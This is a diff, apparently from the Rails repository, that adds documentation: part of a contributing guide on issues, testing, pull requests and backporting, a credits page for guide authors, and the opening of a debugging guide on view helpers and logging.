+Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a [...]
+
+### Create a Self-Contained gist for Active Record and Action Controller Issues
+
+If you are filing a bug report, please use
+[Active Record template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) or
+[Action Controller template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb)
+if the bug is found in a published gem, and
+[Active Record template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) or
+[Action Controller template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb)
+if the bug happens in the master branch.
+
+### Special Treatment for Security Issues
+
+WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues.
+
+### What about Feature Requests?
+
+Please don't put "feature request" items into GitHub Issues. If there's a new
+feature that you want to see added to Ruby on Rails, you'll need to write the
+code yourself - or convince someone else to partner with you to write the code.
+Later in this guide you'll find detailed instructions for proposing a patch to
+Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you
+can expect it to be marked "invalid" as soon as it's reviewed.
+
+Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
+Generally, a feature is anything that adds new behavior, while a bug is
+anything that fixes already existing behavior that is misbehaving. Sometimes,
+the core team will have to make a judgement call. That said, the distinction
+generally just affects which release your patch will get in to; we love feature
+submissions! They just won't get backported to maintenance branches.
+
+If you'd like feedback on an idea for a feature before doing the work for make
+a patch, please send an email to the [rails-core mailing
+list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You
+might get no response, which means that everyone is indifferent. You might find
+someone who's also interested in building that feature. You might get a "This
+won't be accepted." But it's the proper place to discuss new ideas. GitHub
+Issues are not a particularly good venue for the sometimes long and involved
+discussions new features require.
+
+Setting Up a Development Environment
+------------------------------------
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
+
+### The Easy Way
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+### The Hard Way
+
+In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html).
+
+
+Running an Application Against Your Local Branch
+------------------------------------------------
+
+The `--dev` flag of `rails new` generates an application that uses your local
+branch:
+
+```bash
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+```
+
+The application generated in `~/my-test-app` runs against your local branch
+and in particular sees any modifications upon server reboot.
+
+
+Testing Active Record
+---------------------
+
+This is how you run the Active Record test suite only for SQLite3:
+
+```bash
+$ cd activerecord
+$ bundle exec rake test_sqlite3
+```
+
+You can now run the tests as you did for `sqlite3`. The tasks are respectively
+
+```bash
+test_mysql
+test_mysql2
+test_postgresql
+```
+
+Finally,
+
+```bash
+$ bundle exec rake test
+```
+
+will now run the four of them in turn.
+
+You can also run any single test separately:
+
+```bash
+$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
+```
+
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
+
+### Warnings
+
+The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
+
+If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+
+```bash
+$ RUBYOPT=-W0 bundle exec rake test
+```
+
+### Older Versions of Ruby on Rails
+
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
+
+```bash
+$ git branch --track 3-0-stable origin/3-0-stable
+$ git checkout 3-0-stable
+```
+
+TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
+
+Helping to Resolve Existing Issues
+----------------------------------
+
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [Everyone's Issues](https://github.com/rails/rails/issues) list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+
+### Verifying Bug Reports
+
+For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
+
+If something is very vague, can you help squash it down into something specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.
+
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+
+Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
+
+### Testing Patches
+
+You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
+
+```bash
+$ git checkout -b testing_branch
+```
+
+Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
+
+```bash
+$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
+$ git pull JohnSmith orange
+```
+
+After applying their branch, test it out! Here are some things to think about:
+
+* Does the change actually work?
+* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
+* Does it have the proper documentation coverage? Should documentation elsewhere be updated?
+* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
+
+Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
+
+<blockquote>
+I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.
+</blockquote>
+
+If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
+
+Contributing to the Rails Documentation
+---------------------------------------
+
+Ruby on Rails has two main sets of documentation: the guides, which help you
+learn about Ruby on Rails, and the API, which serves as a reference.
+
+You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/rails/docrails/translating-rails-guides).
+
+You can either open a pull request to [Rails](http://github.com/rails/rails) or
+ask the [Rails core team](http://rubyonrails.org/core) for commit access on
+[docrails](http://github.com/rails/docrails) if you contribute regularly.
+Please do not open pull requests in docrails, if you'd like to get feedback on your
+change, ask for it in [Rails](http://github.com/rails/rails) instead.
+
+Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+
+If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub.
+
+When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
+
+NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
+
+NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+
+WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
+
+Contributing to the Rails Code
+------------------------------
+
+### Clone the Rails Repository
+
+The first thing you need to do to be able to contribute code is to clone the repository:
+
+```bash
+$ git clone git://github.com/rails/rails.git
+```
+
+and create a dedicated branch:
+
+```bash
+$ cd rails
+$ git checkout -b my_new_branch
+```
+
+It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
+
+### Write Your Code
+
+Now get busy and add or edit code. You're on your branch now, so you can write whatever you want (you can check to make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:
+
+* Get the code right.
+* Use Rails idioms and helpers.
+* Include tests that fail without your code, and pass with it.
+* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
+
+It is not customary in Rails to run the full test suite before pushing
+changes. The railties test suite in particular takes a long time, and even
+more if the source code is mounted in `/vagrant` as happens in the recommended
+workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
+
+As a compromise, test what your code obviously affects, and if the change is
+not in railties, run the whole test suite of the affected component. If all
+tests are passing, that's enough to propose your contribution. We have
+[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching
+unexpected breakages elsewhere.
+
+TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
+
+### Follow the Coding Conventions
+
+Rails follows a simple set of coding style conventions:
+
+* Two spaces, no tabs (for indentation).
+* No trailing whitespace. Blank lines should not have any spaces.
+* Indent after private/protected.
+* Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`.
+* Prefer `&&`/`||` over `and`/`or`.
+* Prefer class << self over self.method for class methods.
+* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
+* Use `a = b` and not `a=b`.
+* Use assert_not methods instead of refute.
+* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
+* Follow the conventions in the source you see used already.
+
+The above are guidelines - please use your best judgment in using them.
+
+### Updating the CHANGELOG
+
+The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
+
+You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
+
+A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
+
+```
+*   Summary of a change that briefly describes what was changed. You can use multiple
+    lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
+
+        class Foo
+          def bar
+            puts 'baz'
+          end
+        end
+
+    You can continue after the code example and you can attach issue number. GH#1234
+
+    *Your Name*
+```
+
+Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph.
+
+### Sanity Check
+
+You should not be the only person who looks at the code before you submit it.
+If you know someone else who uses Rails, try asking them if they'll check out
+your work. If you don't know anyone else using Rails, try hopping into the IRC
+room or posting about your idea to the rails-core mailing list.  Doing this in
+private before you push a patch out publicly is the “smoke test” for a patch:
+if you can’t convince one other developer of the beauty of your code, you’re
+unlikely to convince the core team either.
+
+### Commit Your Changes
+
+When you're happy with the code on your computer, you need to commit the changes to Git:
+
+```bash
+$ git commit -a
+```
+
+At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it.
+
+Good commit message should be formatted according to the following example:
+
+```
+Short summary (ideally 50 characters or less)
+
+More detailed description, if necessary. It should be wrapped to 72
+characters. Try to be as descriptive as you can, even if you think that
+the commit content is obvious, it may not be obvious to others. You
+should add such description also if it's already present in bug tracker,
+it should not be necessary to visit a webpage to check the history.
+
+Description can have multiple paragraphs and you can use code examples
+inside, just indent it with 4 spaces:
+
+    class PostsController
+      def index
+        respond_with Post.limit(10)
+      end
+    end
+
+You can also add bullet points:
+
+- you can use dashes or asterisks
+
+- also, try to indent next line of a point for readability, if it's too
+  long to fit in 72 characters
+```
+
+TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean.
+
+### Update Your Branch
+
+It's pretty likely that other changes to master have happened while you were working. Go get them:
+
+```bash
+$ git checkout master
+$ git pull --rebase
+```
+
+Now reapply your patch on top of the latest changes:
+
+```bash
+$ git checkout my_new_branch
+$ git rebase master
+```
+
+No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
+
+### Fork
+
+Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner.
+
+Add the new remote to your local repository on your local machine:
+
+```bash
+$ git remote add mine git at github.com:<your user name>/rails.git
+```
+
+Push to your remote:
+
+```bash
+$ git push mine my_new_branch
+```
+
+You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.
+
+In the directory you cloned your fork:
+
+```bash
+$ git remote add rails git://github.com/rails/rails.git
+```
+
+Download new commits and branches from the official repository:
+
+```bash
+$ git fetch rails
+```
+
+Merge the new content:
+
+```bash
+$ git checkout master
+$ git rebase rails/master
+```
+
+Update your fork:
+
+```bash
+$ git push origin master
+```
+
+If you want to update another branch:
+
+```bash
+$ git checkout branch_name
+$ git rebase rails/branch_name
+$ git push origin branch_name
+```
+
+
+### Issue a Pull Request
+
+Navigate to the Rails repository you just pushed to (e.g.
+https://github.com/your-user-name/rails) and click on "Pull Requests" seen in
+the right panel. On the next page, press "New pull request" in the upper right
+hand corner.
+
+Click on "Edit", if you need to change the branches being compared (it compares
+"master" by default) and press "Click to create a pull request for this
+comparison".
+
+Ensure the changesets you introduced are included. Fill in some details about
+your potential patch including a meaningful title. When finished, press "Send
+pull request". The Rails core team will be notified about your submission.
+
+### Get some Feedback
+
+Most pull requests will go through a few iterations before they get merged.
+Different contributors will sometimes have different opinions, and often
+patches will need revised before they can get merged.
+
+Some contributors to Rails have email notifications from GitHub turned on, but
+others do not. Furthermore, (almost) everyone who works on Rails is a
+volunteer, and so it may take a few days for you to get your first feedback on
+a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such
+is the open source life.
+
+If it's been over a week, and you haven't heard anything, you might want to try
+and nudge things along. You can use the [rubyonrails-core mailing
+list](http://groups.google.com/group/rubyonrails-core/) for this. You can also
+leave another comment on the pull request.
+
+While you're waiting for feedback on your pull request, open up a few other
+pull requests and give someone else some! I'm sure they'll appreciate it in
+the same way that you appreciate feedback on your patches.
+
+### Iterate as Necessary
+
+It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.
+
+#### Squashing commits
+
+One of the things that we may ask you to do is "squash your commits," which
+will combine all of your commits into a single commit. We prefer pull requests
+that are a single commit. This makes it easier to backport changes to stable
+branches, squashing makes it easier to revert bad commits, and the git history
+can be a bit easier to follow. Rails is a large project, and a bunch of
+extraneous commits can add a lot of noise.
+
+In order to do this, you'll need to have a git remote that points at the main
+Rails repository. This is useful anyway, but just in case you don't have it set
+up, make sure that you do this first:
+
+```bash
+$ git remote add upstream https://github.com/rails/rails.git
+```
+
+You can call this remote whatever you'd like, but if you don't use `upstream`,
+then change the name to your own in the instructions below.
+
+Given that your remote branch is called `my_pull_request`, then you can do the
+following:
+
+```bash
+$ git fetch upstream
+$ git checkout my_pull_request
+$ git rebase upstream/master
+$ git rebase -i
+
+< Choose 'squash' for all of your commits except the first one. >
+< Edit the commit message to make sense, and describe all your changes. >
+
+$ git push origin my_pull_request -f
+```
+
+You should be able to refresh the pull request on GitHub and see that it has
+been updated.
+
+### Backporting
+
+Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
+
+For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git).
+
+First make sure your changes are the only difference between your current branch and master:
+
+```bash
+$ git log master..HEAD
+```
+
+Then extract the diff:
+
+```bash
+$ git format-patch master --stdout > ~/my_changes.patch
+```
+
+Switch over to the target branch and apply your changes:
+
+```bash
+$ git checkout -b my_backport_branch 3-2-stable
+$ git apply ~/my_changes.patch
+```
+
+This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.
+
+Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request.
+
+And then... think about your next contribution!
+
+Rails Contributors
+------------------
+
+All contributions, either via master or docrails, get credit in [Rails Contributors](http://contributors.rubyonrails.org).
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
new file mode 100644
index 0000000..7c6858f
--- /dev/null
+++ b/guides/source/credits.html.erb
@@ -0,0 +1,80 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides: Credits
+<% end %>
+
+<% content_for :header_section do %>
+<h2>Credits</h2>
+
+<p>We'd like to thank the following people for their tireless contributions to this project.</p>
+
+<% end %>
+
+<h3 class="section">Rails Guides Reviewers</h3>
+
+<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %>
+  Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>.
+<% end %>
+
+<%= author('Xavier Noria', 'fxn', 'fxn.png') do %>
+  Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as "fxn".
+<% end %>
+
+<h3 class="section">Rails Guides Designers</h3>
+
+<%= author('Jason Zimdars', 'jz') do %>
+  Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
+<% end %>
+
+<h3 class="section">Rails Guides Authors</h3>
+
+<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
+  Ryan Bigg works as the Community Manager at <a href="http://spreecommerce.com">Spree Commerce</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ry [...]
+<% end %>
+
+<%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %>
+Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">GitHub account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>.
+  <% end %>
+
+<%= author('Frederick Cheung', 'fcheung') do %>
+  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
+<% end %>
+
+<%= author('Tore Darell', 'toretore') do %>
+  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the Internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>.
+<% end %>
+
+<%= author('Jeff Dean', 'zilkey') do %>
+  Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
+<% end %>
+
+<%= author('Mike Gunderloy', 'mgunderloy') do %>
+  Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
+<% end %>
+
+<%= author('Mikel Lindsaar', 'raasdnil') do %>
+  Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
+<% end %>
+
+<%= author('Cássio Marques', 'cmarques') do %>
+  Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
+<% end %>
+
+<%= author('James Miller', 'bensie') do %>
+  James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie".
+<% end %>
+
+<%= author('Pratik Naik', 'lifo') do %>
+  Pratik Naik is a Ruby on Rails developer at <a href="http://www.37signals.com">37signals</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
+<% end %>
+
+<%= author('Emilio Tagua', 'miloops') do %>
+  Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops".
+<% end %>
+
+<%= author('Heiko Webers', 'hawe') do %>
+  Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
+<% end %>
+
+<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %>
+  Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
+<% end %>
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
new file mode 100644
index 0000000..4f3a072
--- /dev/null
+++ b/guides/source/debugging_rails_applications.md
@@ -0,0 +1,707 @@
+Debugging Rails Applications
+============================
+
+This guide introduces techniques for debugging Ruby on Rails applications.
+
+After reading this guide, you will know:
+
+* The purpose of debugging.
+* How to track down problems and issues in your application that your tests aren't identifying.
+* The different ways of debugging.
+* How to analyze the stack trace.
+
+--------------------------------------------------------------------------------
+
+View Helpers for Debugging
+--------------------------
+
+One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
+
+* `debug`
+* `to_yaml`
+* `inspect`
+
+### `debug`
+
+The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+
+```html+erb
+<%= debug @post %>
+<p>
+  <b>Title:</b>
+  <%= @post.title %>
+</p>
+```
+
+You'll see something like this:
+
+```yaml
+--- !ruby/object:Post
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+```
+
+### `to_yaml`
+
+Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
+
+```html+erb
+<%= simple_format @post.to_yaml %>
+<p>
+  <b>Title:</b>
+  <%= @post.title %>
+</p>
+```
+
+The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
+
+As a result of this, you will have something like this in your view:
+
+```yaml
+--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+```
+
+### `inspect`
+
+Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+
+```html+erb
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+  <b>Title:</b>
+  <%= @post.title %>
+</p>
+```
+
+Will be rendered as follows:
+
+```
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+```
+
+The Logger
+----------
+
+It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
+
+### What is the Logger?
+
+Rails makes use of the `ActiveSupport::Logger` class to write log information. You can also substitute another logger such as `Log4r` if you wish.
+
+You can specify an alternative logger in your `environment.rb` or any environment file:
+
+```ruby
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new("Application Log")
+```
+
+Or in the `Initializer` section, add _any_ of the following
+
+```ruby
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+```
+
+TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`.
+
+### Log Levels
+
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `Rails.logger.level` method.
+
+The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use
+
+```ruby
+config.log_level = :warn # In any environment initializer, or
+Rails.logger.level = 0 # at any time
+```
+
+This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
+
+TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode.
+
+### Sending Messages
+
+To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+
+```ruby
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+```
+
+Here's an example of a method instrumented with extra logging:
+
+```ruby
+class PostsController < ApplicationController
+  # ...
+
+  def create
+    @post = Post.new(params[:post])
+    logger.debug "New post: #{@post.attributes.inspect}"
+    logger.debug "Post should be valid: #{@post.valid?}"
+
+    if @post.save
+      flash[:notice] = 'Post was successfully created.'
+      logger.debug "The post was saved and now the user is going to be redirected..."
+      redirect_to(@post)
+    else
+      render action: "new"
+    end
+  end
+
+  # ...
+end
+```
+
+Here's an example of the log generated when this controller action is executed:
+
+```
+Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+```
+
+Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.
+
+### Tagged Logging
+
+When running multi-user, multi-account applications, it's often useful
+to be able to filter the logs using some custom rules. `TaggedLogging`
+in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+```ruby
+logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+```
+
+### Impact of Logs on Performance
+Logging will always have a small impact on performance of your rails app, 
+        particularly when logging to disk.However, there are a few subtleties:
+
+Using the `:debug` level will have a greater performance penalty than `:fatal`,
+      as a far greater number of strings are being evaluated and written to the
+      log output (e.g. disk).
+
+Another potential pitfall is that if you have many calls to `Logger` like this
+      in your code:
+
+```ruby
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+```
+
+In the above example, There will be a performance impact even if the allowed 
+output level doesn't include debug. The reason is that Ruby has to evaluate 
+these strings, which includes instantiating the somewhat heavy `String` object 
+and interpolating the variables, and which takes time.
+Therefore, it's recommended to pass blocks to the logger methods, as these are 
+only evaluated if the output level is the same or included in the allowed level 
+(i.e. lazy loading). The same code rewritten would be:
+
+```ruby
+logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
+```
+
+The contents of the block, and therefore the string interpolation, is only 
+evaluated if debug is enabled. This performance savings is only really 
+noticeable with large amounts of logging, but it's a good practice to employ.
+
